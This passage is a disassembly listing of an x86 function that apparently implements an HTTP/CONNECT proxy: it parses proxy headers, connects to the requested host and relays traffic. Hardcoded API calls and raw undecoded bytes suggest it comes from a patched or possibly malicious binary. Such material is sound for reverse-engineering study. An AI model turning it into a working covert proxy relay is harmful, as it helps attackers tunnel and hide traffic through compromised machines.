eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: ___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F30 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_44720C mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F30 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471E4 ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F30 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+4A8h] push offset asc_4471E4 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C64 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_4471E4 ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F30 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F30 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx call near ptr 71AB428Ah nop test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB428Ah jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax call near ptr 71AB2DC0h nop mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689E6Ah dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h dd 75000027h, 0E8016A0Dh, 2425EA9h, 0FE43E990h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi ; closesocket loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= 